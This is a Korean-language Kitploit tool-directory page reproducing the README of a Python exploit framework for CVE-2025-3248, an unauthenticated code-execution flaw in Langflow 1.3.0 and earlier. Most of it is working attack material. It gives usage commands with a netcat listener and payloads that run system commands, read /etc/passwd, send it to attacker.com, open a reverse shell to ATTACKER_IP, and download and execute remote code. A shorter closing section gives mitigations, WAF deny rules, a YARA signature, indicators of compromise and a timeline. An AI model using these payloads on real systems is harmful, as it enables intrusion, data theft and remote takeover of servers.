Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-3248-exploit — CVE-2025-3248을 테스트하고 시연하기 위한 포괄적인 Python 익스플로잇 프레임워크로, Langflow 버전 ≤ 1.3.0에서 발생하는 심각한 인증되지 않은 원격 코드 실행 취약점입니다. | Kitploit
도구/GitHubGitHub/drackyjr/cve-2025-3248-exploit
Vulnerability ScannersCode AnalysisExploitationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload Development
3910개월 전아직 검토되지 않음
GitHubdrackyjr/cve-2025-3248-exploit

cve-2025-3248-exploit

CVE-2025-3248을 테스트하고 시연하기 위한 포괄적인 Python 익스플로잇 프레임워크로, Langflow 버전 ≤ 1.3.0에서 발생하는 심각한 인증되지 않은 원격 코드 실행 취약점입니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-3248: Langflow 무인증 RCE 취약점 스캐너

License Python Status CVSS EPSS

Langflow 버전 ≤ 1.3.0에 영향을 미치는 치명적인 무인증 원격 코드 실행 취약점인 CVE-2025-3248을 테스트하고 시연하기 위한 포괄적인 Python 익스플로잇 프레임워크입니다.


🔴 취약점 개요

CVE-2025-3248: Langflow 코드 삽입 RCE

속성값
CVE IDCVE-2025-3248
제품Langflow
영향을 받는 버전≤ 1.3.0
취약점 유형무인증 원격 코드 실행 (RCE)
공격 경로네트워크
인증 필요없음
CVSS 점수9.8 (치명적)
EPSS 점수92.57%
CWECWE-94 (코드 생성의 부적절한 제어)
취약 엔드포인트/api/v1/validate/code

근본 원인

이 취약점은 임의의 Python 코드를 허용하고, 적절한 입력 검증(sanitization)이나 샌드박싱 없이 Python의 안전하지 않은 exec() 함수를 사용하여 이를 검증하는 /api/v1/validate/code API 엔드포인트에 존재합니다. 이 취약점은 다음과 같은 Python의 동작을 악용합니다:

  1. 데코레이터는 함수 정의 중에 즉시 평가됩니다
  2. 기본 인자 값은 추상 구문 트리(AST) 파싱 중에 실행됩니다
  3. 악성 코드 실행을 방지하기 위한 입력 검증이 없습니다

공격 체인

Attacker → POST /api/v1/validate/code → Python exec() → RCE
     ↓
   No Auth Required
     ↓
   Arbitrary Python Code
     ↓
   System Command Execution

✨ 기능

  • ✅ 엔드포인트 탐지: 취약한 Langflow 인스턴스를 자동으로 식별합니다
  • ✅ 다단계 테스트: 4단계의 점진적 취약점 테스트
  • ✅ 명령 실행: 대상에서 임의의 시스템 명령 실행
  • ✅ 환경 변수 추출: 환경 변수 및 구성 정보 검색
  • ✅ 파일 작업: 파일 읽기/쓰기 기능 테스트
  • ✅ 리버스 셸 지원: 대화형 리버스 셸 세션 생성
  • ✅ 버전 탐지: Langflow 버전 정보 식별
  • ✅ 색상 구분 출력: 터미널 색상으로 가독성 향상
  • ✅ 타임아웃 관리: 구성 가능한 요청 타임아웃
  • ✅ SSL/TLS 우회: 자체 서명 인증서 지원

📦 요구 사항

Python >= 3.7
requests >= 2.25.0

의존성 설치

pip install requests

선택 사항 (더 나은 로깅을 위해)

pip install colorama  # For Windows color support

🚀 설치

방법 1: GitHub에서 클론

git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

📖 사용법

기본 구문

python3 cve_2025_3248_test.py -t <target_url> [options]

빠른 시작 예제

1. 기본 취약점 스캔

python3 cve_2025_3248_test.py -t http://target.com

2. 사용자 지정 명령 실행

python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. 여러 명령 실행

python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. 리버스 셸 익스플로잇 (승인된 테스트 전용)

1단계: 자신의 머신에서 netcat 리스너 시작

nc -lvnp 4444

2단계: 익스플로잇 실행

python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444

예시:

python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. 사용자 지정 타임아웃으로 스캔

python3 cve_2025_3248_test.py -t http://target.com --timeout 30

명령줄 인자

positional arguments:
  None

optional arguments:
  -t, --target TARGET       Target URL (e.g., http://target.com) [REQUIRED]
  -c, --command COMMAND     Command to execute (default: id)
  --timeout TIMEOUT         Request timeout in seconds (default: 10)
  --exploit                 Enable exploitation mode (reverse shell)
  --lhost LHOST            Your IP address for reverse shell
  --lport LPORT            Your port for reverse shell
  -h, --help               Show this help message

💾 페이로드 변형

1. 데코레이터 기반 실행

payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. 기본 인자 실행

payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. 데이터 유출

payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. 리버스 셸 (원라이너)

payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. 파일 읽기 작업

payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. 환경 변수 열거

payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. 다운로드 및 실행

payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

🔍 탐지 및 완화

방어자를 위한

즉시 조치

  1. Langflow 업그레이드

    pip install langflow>=1.3.0
    # or
    docker pull langflow:latest
    
  2. 네트워크 접근 제한

    # Nginx reverse proxy - block vulnerable endpoint
    location /api/v1/validate/code {
        deny all;
    }
    
  3. 인증 구현

    # Add authentication middleware
    @app.middleware("http")
    async def auth_middleware(request, call_next):
        if "/api/v1/validate/code" in request.url.path:
            if not verify_auth(request):
                return JSONResponse(status_code=401)
        return await call_next(request)
    

WAF 규칙

ModSecurity 규칙:

SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

탐지 규칙

YARA 시그니처:

rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

모니터링 및 로깅

# Monitor for suspicious requests
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# Alert on POST requests to vulnerable endpoint
auditctl -w /var/lib/langflow -p wa -k langflow_changes

침해 지표 (IoCs)

  • /api/v1/validate/code에 대한 비정상적인 POST 요청
  • 의심스러운 이름의 Langflow에서 생성된 프로세스
  • Langflow 서버에서의 예상치 못한 아웃바운드 연결
  • /tmp에 비정상적인 타임스탬프로 생성된 파일
  • Langflow 프로세스에서의 Python 하위 프로세스 실행
  • API 요청에 이어진 인증 실패
  • Langflow 컨테이너의 CPU/메모리 사용량 급증

🔬 기술 분석

취약점의 작동 원리

취약점 체인은 다음과 같이 작동합니다:

# Attacker sends this payload:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json

{
    "code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}

# Server processes it:
exec(code)  # ← Dangerous! No sanitization

# During AST parsing, the default argument is evaluated:
# exec('import os; os.system("whoami")')

# Result: Arbitrary command execution

데코레이터가 작동하는 이유

함수 정의 중 데코레이터에 대한 Python의 동작:

# This code gets executed immediately:
@decorator_expression
def my_function():
    pass

# Which means this payload executes the code:
@exec("malicious_code_here")
def vulnerable_function():
    pass

왜 치명적인가

  1. 인증 불필요: 누구나 엔드포인트에 접근할 수 있습니다
  2. 네트워크 접근 가능: 원격으로 악용될 수 있습니다
  3. 전체 시스템 접근: Langflow 프로세스 권한으로 실행됩니다
  4. 입력 검증 없음: 직접적인 코드 실행
  5. 광범위한 배포: 프로덕션 환경에서 사용됨
  6. 높은 익스플로잇 가용성: 공개된 PoC 존재

📊 취약점 타임라인

날짜이벤트
2025-04-06취약점 발견 및 Langflow 팀에 보고
2025-04-17공개 익스플로잇 공개 (Exploit-DB)
2025-05-14FortiguardLabs 확산 경보 발령
2025-05-21Zscaler ThreatLabz 분석 게시
2025-05-22RecordedFuture, 활발한 악용 보고
2025-06-16TrendMicro, FLODRIC 봇넷 악용 보고
2025-06-17OffSec 종합 분석 게시
2025-11-05SentinelOne 취약점 데이터베이스 등재
2025-11-20지속적인 악용 시도 관찰

🛡️ 방어 테스트 체크리스트

승인된 보안 테스트를 수행할 때:

도구 다운로드